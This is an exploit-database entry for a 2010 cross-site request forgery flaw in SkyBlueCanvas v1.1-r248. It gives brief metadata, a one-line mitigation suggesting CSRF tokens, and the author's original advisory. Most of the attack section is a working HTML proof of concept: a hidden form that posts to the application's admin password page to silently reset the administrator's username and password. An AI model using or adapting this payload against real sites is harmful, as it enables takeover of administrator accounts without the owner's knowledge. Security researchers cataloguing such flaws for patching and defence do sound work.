Skybluecanvas.v1.1-r248 CSRF vulnirabilitie

vendor:

Skybluecanvas

by:

Sweet

7,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Skybluecanvas

Affected Version From: v1.1-r248

Affected Version To: v1.1-r248

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Backtrack 4

2010

Skybluecanvas.v1.1-r248 CSRF vulnirabilitie

Skybluecanvas.v1.1-r248 is vulnerable to Cross-Site Request Forgery (CSRF). An attacker can exploit this vulnerability to update the admin information without the knowledge of the admin. The attacker can craft a malicious HTML page with a form that contains the admin credentials and submit it to the vulnerable application. This will update the admin information without the knowledge of the admin.

Mitigation:

The application should implement a CSRF token in the form to prevent CSRF attacks.

Source

Exploit-DB raw data:

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
1  [+]Exploit Title: Skybluecanvas.v1.1-r248 CSRF vulnirabilitie       0
0  [+]Date: 022/09/2010                                                1
1  [+]Author: Sweet                                                    0
0  [+]Contact : charif38@hotmail.fr                                    0
1  [+]Software Link: www.skybluecanvas.com                             0
0  [+]Download: www.skybluecanvas.com/downloads.html                   1
1  [+]Version:v1.1-r248                                                0
0  [+]Tested on: Backtrack 4                                           1
1  [+]Risk : Hight                                                     0
0  [+]Description :                                                    0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

----=PoC=----
<html>
<body>
<h3>Skybluecanvas.v1.1-r248 CSRF vulnirabilitie</h3>
<form method="POST" name="form0" action="http://target.com/path/admin.php?mgroup=settings&mgr=password&objtype=password">
<input type="hidden" name="id" value="1"/>
<input type="hidden" name="username" value="admin"/>    <!-- User name     -->
<input type="hidden" name="password" value="password"/> <!-- your password  -->
<input type="hidden" name="confirm" value="password"/>  <!-- confirm password -->
<p> Press Continue to update admin information <input type="submit" name="submit" value="Continue"/> </p>
</form>
<form method="GET" name="form1" action="http://target.com/path/admin.php?mgroup=settings&mgr=password&objtype=password">
<input type="hidden" name="name" value="value"/> 
</form>
<form method="GET" name="form2" action="http://target.com/path/admin.php">
<input type="hidden" name="name" value="value"/> 
</form>
<form method="GET" name="form3" action="http://target.com/path/admin.php?mgr=login&js=1">
<input type="hidden" name="name" value="value"/> 
</form>
</body>
</html>


(thx to Milw0rm.com , JF - Hamst0r - Keystroke) R.I.P  , inj3ct0r.com , exploit-db.com, packetstormsecurity.org, http://ha.ckers.org


et 1,2,3 viva L'Algerie :))